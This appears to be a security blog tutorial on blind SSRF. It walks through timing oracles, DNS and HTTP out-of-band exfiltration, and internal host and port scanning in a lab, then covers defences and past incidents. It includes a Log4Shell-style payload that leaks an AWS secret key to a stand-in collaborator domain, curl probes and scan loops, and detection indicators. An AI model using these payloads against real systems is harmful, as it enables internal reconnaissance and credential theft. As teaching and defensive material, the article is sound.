TechEarl

Blind SSRF: Exfiltrating Internal Network Layout Without a Response Body

Blind SSRF is the variant where the server fetches the URL but the application hides the response. I walk the timing oracles, DNS and HTTP out-of-band exfil patterns, blind port scanning, and the defences that work even when nothing comes back to the attacker.

Ishan Karunaratne⏱️ 14 min readUpdated
Share thisCopied
Blind SSRF attack inferring internal services via response timing

Regular server-side request forgery is loud: the application fetches the URL I picked, then echoes the response body back to me. I read whatever the server read. Blind SSRF is the same bug with the speakers unplugged. The server still makes the request, but the application returns a generic "OK" or "queued for processing" no matter what came back. I cannot see the response. I still have to prove the request happened, then I have to exfiltrate what it returned, all from side channels.

TL;DR

Blind SSRF is SSRF where the vulnerable feature does not surface the fetched response to the caller. The vulnerability is identical (server fetches an attacker-chosen URL from inside the perimeter), the exploitation is harder. The two primitives I rely on are timing oracles (a reachable internal host responds in milliseconds, an unroutable address hangs to the connect timeout) and out-of-band exfil, where I force the target to resolve or fetch a domain I control and read the result from my own DNS or HTTP logs. Burp Collaborator and Interactsh automate the listener side. With those two primitives I can map internal networks, scan ports, fingerprint services, and in some cases pull credentials out, all without ever seeing a response body in the application. The defences are the same as for any SSRF (allowlist by resolved IP, deny private ranges, IMDSv2-required, default-deny egress) plus one extra detection layer: outbound DNS queries to random-subdomain patterns under unusual TLDs are the textbook IOC for OOB exfil and belong on every SIEM.

What makes SSRF "blind"?

The defining trait is what the application does with the response body after the fetch. In a classic SSRF, the body is included in the response to the attacker (often verbatim, like the file_get_contents echo pattern). In blind SSRF the body is consumed internally and the user-facing response is some generic acknowledgement that gives nothing away. The fetch still happens. The attacker just does not get to read what came back through the normal channel.

Common shapes I see in the wild:

  • Webhook validators. "We will POST a verification ping to your URL, then mark the webhook active if we get a 2xx." The validator fetches; the application only ever returns "verified" or "failed".
  • "Import from URL" features. Image proxies, RSS readers, document importers. The user sees "queued for processing" while the worker fetches on the backend.
  • SAML metadata fetchers and OIDC discovery endpoints. Server fetches, parses, and stores; the response is a green tick.
  • Server-side preview generators. Link unfurlers, embed generators, PDF-from-URL renderers. A failed render usually does not leak the upstream error.
  • Health checks and uptime probes. The user configures a URL to monitor; the only feedback is a status icon.

None of these echo the response body. All of them are SSRF primitives if the fetch is unrestricted.

Timing oracles

The simplest exfil channel is the clock. Two HTTP transactions that the server performs against different destinations will have measurably different total durations, and that difference is information.

Against the ssrf-basic lab, /fetch-blind.php is the blind endpoint. It fetches the URL with a 5-second timeout and returns only "OK" or "Timeout" with no body. That is enough:

bash
# Reachable internal host: connection succeeds, fast response
time curl 'http://localhost:8082/fetch-blind.php?url=http://ssrf-basic-internal/'
# real    0m0.024s

# Non-routable address: hangs until the 5-second connect timeout
time curl 'http://localhost:8082/fetch-blind.php?url=http://10.255.255.1/'
# real    0m5.041s

Two hundred-fold difference. I do not need to see the body to know which host is alive. Same trick distinguishes open from filtered ports: an open port either accepts the connection or refuses it quickly (TCP RST), a filtered port silently drops the SYN and the client hangs to timeout.

Variants worth knowing: DNS resolution time (NXDOMAIN resolves faster than a recursive timeout), TLS handshake time (an HTTPS endpoint completing a handshake is distinguishable from plain HTTP on the same port and from a closed port), and response size as a side channel when the application itself logs or truncates differently by body size.

A single sample is unreliable; I usually take 5 to 10 samples per probe and compare medians. On a busy production host the SNR drops. In a lab, the signal is so clean that timing is the first thing I try.

DNS-based out-of-band exfil

The dominant blind-SSRF technique in 2026 is DNS out-of-band exfil. The idea is to force the vulnerable server to perform a DNS lookup for a hostname under my control, and use the queried subdomain as the carrier for the data I am exfiltrating.

The setup:

  1. I control an authoritative DNS server for some domain. In practice I use Burp Collaborator (PortSwigger's hosted listener) or Interactsh (ProjectDiscovery's open-source equivalent, runnable locally or via the hosted oast.fun). Both give me a unique subdomain that resolves to a logger.
  2. I get the vulnerable server to resolve something.<collab-id>.oast.fun. The DNS query lands on my listener. I see the source IP and the queried hostname.
  3. Anything I can encode into the queried subdomain comes out the other side.

The minimal proof-of-existence payload, for an endpoint that simply fetches whatever URL I give it:

bash
curl 'http://localhost:8082/fetch-blind.php?url=http://probe.abc123.oast.fun/'

If the server actually makes the request, abc123.oast.fun's authoritative server logs a DNS query for probe.abc123.oast.fun from the vulnerable host's resolver IP. I now know two things: the SSRF is real, and the server has working outbound DNS (most do, even when outbound HTTP is firewalled).

For actual exfil I need to encode a value into the subdomain. If the application interpolates user input into the URL (templated webhook host, server-side template injection, the Log4Shell ${jndi:dns://abc123.oast.fun/${env:AWS_SECRET_ACCESS_KEY}} shape) I leak the secret as a label. DNS labels cap at 63 characters and full hostnames at 253, so longer secrets get chunked and reassembled on my side.

The reason DNS-OOB is dominant: outbound DNS is almost never blocked. Egress firewalls that deny arbitrary outbound HTTP still let port 53 through. Even when DNS is forced through a corporate resolver, that resolver still recursively resolves external domains.

HTTP-based OOB

When the target can make outbound HTTP and I can fully control the URL, I do not need DNS. I point the SSRF at http://abc123.oast.fun/anything?leak=<value> and read the value from the HTTP request log on my listener. Same primitive, different protocol.

HTTP-OOB gives me more bytes per request (URL paths and query strings are effectively unlimited compared to DNS's 63-byte labels) and a full request capture (Interactsh and Collaborator log every header, including any User-Agent, Host, or Authorization the SSRF client forgot to strip). The disadvantage is that egress HTTP is more often blocked than egress DNS, so HTTP-OOB fails on hardened environments where DNS-OOB still works. I try DNS first and upgrade to HTTP if the target proves it can reach the open internet over HTTP.

Lab walkthrough

Bring the lab up:

bash
docker compose up ssrf-basic ssrf-basic-internal ssrf-basic-metadata

The blind endpoint is /fetch-blind.php. It fetches the URL with a 5-second timeout, discards the body, and returns "OK" or "Timeout" only. From the response body alone I cannot tell what the server saw.

Timing oracle for existence of internal services. I sweep a list of candidate hostnames and IPs and measure how long each one takes:

bash
for target in \
  http://ssrf-basic-internal/ \
  http://ssrf-basic-metadata/ \
  http://10.255.255.1/ \
  http://10.255.255.2/ ; do
    t=$(curl -s -o /dev/null -w '%{time_total}' \
      "http://localhost:8082/fetch-blind.php?url=$target")
    echo "$t  $target"
done

Output, sorted:

code
0.018  http://ssrf-basic-metadata/
0.024  http://ssrf-basic-internal/
5.041  http://10.255.255.1/
5.038  http://10.255.255.2/

Two clean buckets. The fast pair is alive (and is exactly the lab's internal admin panel and IMDSv1 mock). The slow pair is not routable. Without seeing a single response body, I have proven the lab's internal topology.

OOB confirmation when DNS is reachable. If I had an Interactsh listener at abc123.oast.fun, I could prove the SSRF is real on any endpoint that fetches an external URL by pointing it at my collaborator subdomain and watching for the DNS query. The lab is on a Docker network with no external DNS path by default, so this part is left to a real-world test.

Port scanning via blind SSRF

The timing oracle is not limited to "is this host alive". The same script with the port iterated gives me a port scan from the vulnerable server's perspective:

bash
for port in 22 80 443 3306 5432 6379 11211 27017; do
    t=$(curl -s -o /dev/null -w '%{time_total}' \
      "http://localhost:8082/fetch-blind.php?url=http://ssrf-basic-internal:$port/")
    echo "$t  ssrf-basic-internal:$port"
done

Three distinguishable outcomes: fast with HTTP-shaped errors (port open, speaks HTTP, upstream sent a 400 to the malformed request); fast with connection-refused (port closed, kernel sends a TCP RST immediately); slow, full timeout (port filtered with DROP). In a real engagement I walk the server's 127.0.0.1 and its immediate subnet looking for the unintended internal services: Redis on :6379 with no auth, Memcached on :11211, a Java debug agent on :5005, a Spring Boot Actuator on some admin port. None of these are reachable from the internet; all of them are reachable from the vulnerable server.

Modern defences

The defences for blind SSRF are the defences for all SSRF, with one detection layer that matters more here than for the basic case.

Allowlist by resolved IP, not by host string. The most common bug is checking parse_url($url)['host'] against an approved list. Resolve the hostname to an IP yourself, validate the IP, then connect to that IP with the hostname pinned. This also closes DNS rebinding, which is the cousin variant where the host string is honest at validation time and lies at connection time.

Deny RFC1918, link-local, loopback, and CGNAT at the resolved-IP layer. Once you have the resolved IP, reject anything in 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, 127.0.0.0/8, ::1, fc00::/7, 100.64.0.0/10, plus any internal VPC ranges you actually run. The link-local block is the one that stops cloud metadata theft.

IMDSv2 required, hop limit 1. Even if the SSRF is real, IMDSv2 requires a prior PUT with a custom header to get a session token. A blind SSRF that can only forward GET URLs cannot satisfy either requirement. Hop limit 1 stops the container-escape variant where a workload running on the host with NAT can otherwise see the IMDS.

bash
aws ec2 modify-instance-metadata-options \
  --instance-id i-0123456789abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1 \
  --http-endpoint enabled

Default-deny egress. The cheapest defence and the one most teams skip. Public-facing application servers do not need arbitrary outbound HTTP. Allow only the destinations the service genuinely uses (payment processor, S3, logging endpoint), drop everything else. Blocking outbound DNS at the application VPC layer (forcing all DNS through a controlled resolver and logging queries) is the specific knob that hurts OOB exfil.

Detect random-subdomain DNS queries. This is the detection signal that matters more for blind SSRF than for the basic case, because the OOB pattern leaves a distinctive fingerprint. Sudden bursts of NXDOMAIN or A queries for random-looking subdomains under unusual TLDs (.oast.fun, .oast.live, .burpcollaborator.net, .interactsh.com, plus the long tail of attacker-controlled domains) are the textbook IOC. Most SIEMs have a high-cardinality detection rule for this; if yours does not, add one. Pair it with an alert on any outbound DNS query from a service that has no business resolving external domains.

Restrict the HTTP client's protocol set. As with any SSRF, lock the client to http and https only. gopher://, dict://, file://, and ftp:// are blind-SSRF amplifiers because they let me speak raw TCP and exfil via protocol responses I never have to read.

Real-world incidents

Each of these is the same shape: a feature whose job is "fetch a URL on the user's behalf", input controlled by the attacker, no response body returned to the user, and the attacker still walks away with internal information.

  • Shopify's Exchange App SSRF (2018, HackerOne report 341876). A blind SSRF in the Exchange Marketplace's screenshot-from-URL feature let attackers reach Shopify's internal network. Confirmed by Andre Baptista via DNS OOB against a Burp Collaborator listener, rewarded as a critical.
  • GitLab project import via URL (CVE-2021-22214). Unauthenticated SSRF in the GitLab CI lint API that fetched arbitrary URLs from the GitLab server's network position with no body returned to the unauthenticated caller. Patched in GitLab 13.10.5, 13.11.5, and 13.12.2. Reachability of internal endpoints was confirmed via OOB during disclosure.
  • Microsoft Exchange ProxyLogon (CVE-2021-26855). Pre-auth SSRF in Exchange Server. The bug let an attacker reach internal Exchange endpoints with admin privilege; chained with three other CVEs into full RCE. The initial SSRF leg was effectively blind from the attacker's perspective (the response was not echoed); discovery and exploitation relied on the side-channel behaviour of the downstream Exchange components.

Where to go next

Sources

Authoritative references this article was fact-checked against.

Tagsssrfblind-ssrftiming-attackout-of-band

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts

How to Extend an AWS EBS Volume Without a Restart

Grow an EBS volume on a running EC2 instance in four steps. Modify the volume, wait for the optimizing state, expand the partition with growpart, then stretch the filesystem with resize2fs or xfs_growfs. No detach, no reboot.

How to Find Files by Extension (One or Many) with find

find . -type f -name '*.txt' lists every file with one extension. For many extensions you group -name tests with escaped parens and join them with -o. This covers the single one-liner, the multi-extension OR pattern, why the parens are mandatory, case-insensitive -iname, files with no extension at all, the -regex shortcut, and the BSD vs GNU divergence that bites on macOS.